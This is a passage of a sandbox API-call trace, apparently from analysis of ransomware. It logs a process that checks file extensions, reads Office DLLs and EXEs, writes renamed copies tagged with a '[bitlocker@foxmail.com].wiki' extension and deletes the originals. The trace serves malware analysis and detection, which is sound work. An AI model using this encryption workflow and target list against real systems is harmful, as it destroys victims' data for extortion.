(lpString1=".doc", lpString2=".DLL") returned 1 [0186.732] lstrlenW (lpString=".docx") returned 5 [0186.732] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0186.732] lstrlenW (lpString=".pdf") returned 4 [0186.732] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0186.732] lstrlenW (lpString=".xls") returned 4 [0186.732] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0186.732] lstrlenW (lpString=".xlsx") returned 5 [0186.732] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0186.732] lstrlenW (lpString=".ppt") returned 4 [0186.732] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0186.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.732] lstrlenW (lpString=".zip") returned 4 [0186.732] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0186.732] lstrlenW (lpString=".rar") returned 4 [0186.733] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0186.733] lstrlenW (lpString=".bz2") returned 4 [0186.733] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0186.733] lstrlenW (lpString=".7z") returned 3 [0186.733] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0186.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.733] lstrlenW (lpString=".dbf") returned 4 [0186.733] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0186.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.733] lstrlenW (lpString=".1cd") returned 4 [0186.733] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0186.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.733] lstrlenW (lpString=".jpg") returned 4 [0186.733] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0186.733] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0186.733] lstrlenW (lpString="ACEXBE.DLL") returned 10 [0186.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0186.734] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=502168) returned 1 [0186.734] CloseHandle (hObject=0x1dc) returned 1 [0186.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0186.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0186.734] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.734] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0186.735] GetLastError () returned 0x0 [0186.735] ReadFile (in: hFile=0x1dc, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x7a998, lpOverlapped=0x0) returned 1 [0186.749] WriteFile (in: hFile=0x1c0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x7a9a0, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x7a9a0, lpOverlapped=0x0) returned 1 [0187.190] ReadFile (in: hFile=0x1dc, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.190] WriteFile (in: hFile=0x1c0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0187.190] SetEndOfFile (hFile=0x1c0) returned 1 [0187.190] CloseHandle (hObject=0x1c0) returned 1 [0187.201] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.201] SetEndOfFile (hFile=0x1dc) returned 1 [0187.215] CloseHandle (hObject=0x1dc) returned 1 [0187.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.215] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 1 [0187.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.216] lstrlenW (lpString=".doc") returned 4 [0187.216] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0187.216] lstrlenW (lpString=".docx") returned 5 [0187.216] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0187.216] lstrlenW (lpString=".pdf") returned 4 [0187.216] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0187.216] lstrlenW (lpString=".xls") returned 4 [0187.216] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0187.216] lstrlenW (lpString=".xlsx") returned 5 [0187.216] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0187.216] lstrlenW (lpString=".ppt") returned 4 [0187.216] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0187.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.216] lstrlenW (lpString=".zip") returned 4 [0187.216] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0187.216] lstrlenW (lpString=".rar") returned 4 [0187.216] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0187.216] lstrlenW (lpString=".bz2") returned 4 [0187.216] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0187.216] lstrlenW (lpString=".7z") returned 3 [0187.216] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0187.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.216] lstrlenW (lpString=".dbf") returned 4 [0187.216] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0187.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.216] lstrlenW (lpString=".1cd") returned 4 [0187.216] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0187.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.217] lstrlenW (lpString=".jpg") returned 4 [0187.217] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0187.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.217] lstrlenW (lpString=".doc") returned 4 [0187.217] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0187.217] lstrlenW (lpString=".docx") returned 5 [0187.217] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0187.217] lstrlenW (lpString=".pdf") returned 4 [0187.217] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0187.217] lstrlenW (lpString=".xls") returned 4 [0187.217] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0187.217] lstrlenW (lpString=".xlsx") returned 5 [0187.217] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0187.217] lstrlenW (lpString=".ppt") returned 4 [0187.217] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0187.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.217] lstrlenW (lpString=".zip") returned 4 [0187.217] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0187.217] lstrlenW (lpString=".rar") returned 4 [0187.217] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0187.217] lstrlenW (lpString=".bz2") returned 4 [0187.217] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0187.217] lstrlenW (lpString=".7z") returned 3 [0187.217] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0187.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.217] lstrlenW (lpString=".dbf") returned 4 [0187.218] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0187.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.218] lstrlenW (lpString=".1cd") returned 4 [0187.218] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0187.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0187.218] lstrlenW (lpString=".jpg") returned 4 [0187.218] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0187.218] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0187.218] lstrlenW (lpString="EXP_PDF.DLL") returned 11 [0187.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0187.219] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=138616) returned 1 [0187.219] CloseHandle (hObject=0x1dc) returned 1 [0187.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 0x20 [0187.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0187.219] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.219] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0187.219] GetLastError () returned 0x0 [0187.219] ReadFile (in: hFile=0x1dc, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x21d78, lpOverlapped=0x0) returned 1 [0187.287] WriteFile (in: hFile=0x1c0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x21d80, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x21d80, lpOverlapped=0x0) returned 1 [0187.290] ReadFile (in: hFile=0x1dc, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.290] WriteFile (in: hFile=0x1c0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xea, lpOverlapped=0x0) returned 1 [0187.290] SetEndOfFile (hFile=0x1c0) returned 1 [0187.290] CloseHandle (hObject=0x1c0) returned 1 [0187.290] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.290] SetEndOfFile (hFile=0x1dc) returned 1 [0187.292] CloseHandle (hObject=0x1dc) returned 1 [0187.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.292] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 1 [0187.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.292] lstrlenW (lpString=".doc") returned 4 [0187.292] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0187.292] lstrlenW (lpString=".docx") returned 5 [0187.292] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0187.292] lstrlenW (lpString=".pdf") returned 4 [0187.292] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0187.292] lstrlenW (lpString=".xls") returned 4 [0187.292] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0187.292] lstrlenW (lpString=".xlsx") returned 5 [0187.292] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0187.292] lstrlenW (lpString=".ppt") returned 4 [0187.293] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0187.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.293] lstrlenW (lpString=".zip") returned 4 [0187.293] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0187.293] lstrlenW (lpString=".rar") returned 4 [0187.293] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0187.293] lstrlenW (lpString=".bz2") returned 4 [0187.293] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0187.293] lstrlenW (lpString=".7z") returned 3 [0187.293] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0187.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.293] lstrlenW (lpString=".dbf") returned 4 [0187.293] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0187.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.293] lstrlenW (lpString=".1cd") returned 4 [0187.293] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0187.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.293] lstrlenW (lpString=".jpg") returned 4 [0187.293] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0187.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.293] lstrlenW (lpString=".doc") returned 4 [0187.293] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0187.293] lstrlenW (lpString=".docx") returned 5 [0187.293] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0187.293] lstrlenW (lpString=".pdf") returned 4 [0187.293] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0187.293] lstrlenW (lpString=".xls") returned 4 [0187.294] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0187.294] lstrlenW (lpString=".xlsx") returned 5 [0187.294] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0187.294] lstrlenW (lpString=".ppt") returned 4 [0187.294] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0187.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.294] lstrlenW (lpString=".zip") returned 4 [0187.294] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0187.294] lstrlenW (lpString=".rar") returned 4 [0187.294] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0187.294] lstrlenW (lpString=".bz2") returned 4 [0187.294] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0187.294] lstrlenW (lpString=".7z") returned 3 [0187.294] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0187.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.294] lstrlenW (lpString=".dbf") returned 4 [0187.294] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0187.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.294] lstrlenW (lpString=".1cd") returned 4 [0187.294] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0187.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0187.294] lstrlenW (lpString=".jpg") returned 4 [0187.294] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0187.294] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0187.294] lstrlenW (lpString="FLTLDR.EXE") returned 10 [0187.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0187.295] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=157024) returned 1 [0187.295] CloseHandle (hObject=0x1dc) returned 1 [0187.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0187.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0187.295] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.295] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.340] GetLastError () returned 0x0 [0188.340] ReadFile (in: hFile=0x1dc, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x26560, lpOverlapped=0x0) returned 1 [0188.345] WriteFile (in: hFile=0x20c, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x26570, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x26570, lpOverlapped=0x0) returned 1 [0188.349] ReadFile (in: hFile=0x1dc, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.349] WriteFile (in: hFile=0x20c, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0188.349] SetEndOfFile (hFile=0x20c) returned 1 [0188.349] CloseHandle (hObject=0x20c) returned 1 [0188.349] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.349] SetEndOfFile (hFile=0x1dc) returned 1 [0188.351] CloseHandle (hObject=0x1dc) returned 1 [0188.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.351] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 1 [0188.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.351] lstrlenW (lpString=".doc") returned 4 [0188.351] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0188.351] lstrlenW (lpString=".docx") returned 5 [0188.351] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0188.351] lstrlenW (lpString=".pdf") returned 4 [0188.351] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0188.351] lstrlenW (lpString=".xls") returned 4 [0188.351] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0188.351] lstrlenW (lpString=".xlsx") returned 5 [0188.351] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0188.351] lstrlenW (lpString=".ppt") returned 4 [0188.351] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0188.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.351] lstrlenW (lpString=".zip") returned 4 [0188.351] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0188.351] lstrlenW (lpString=".rar") returned 4 [0188.352] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0188.352] lstrlenW (lpString=".bz2") returned 4 [0188.352] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0188.352] lstrlenW (lpString=".7z") returned 3 [0188.352] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0188.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.352] lstrlenW (lpString=".dbf") returned 4 [0188.352] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0188.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.352] lstrlenW (lpString=".1cd") returned 4 [0188.352] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0188.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.352] lstrlenW (lpString=".jpg") returned 4 [0188.352] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0188.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.352] lstrlenW (lpString=".doc") returned 4 [0188.352] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0188.352] lstrlenW (lpString=".docx") returned 5 [0188.352] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0188.352] lstrlenW (lpString=".pdf") returned 4 [0188.352] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0188.352] lstrlenW (lpString=".xls") returned 4 [0188.352] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0188.352] lstrlenW (lpString=".xlsx") returned 5 [0188.352] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0188.352] lstrlenW (lpString=".ppt") returned 4 [0188.352] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0188.352] lstrlenW (lpString="C:\\Program 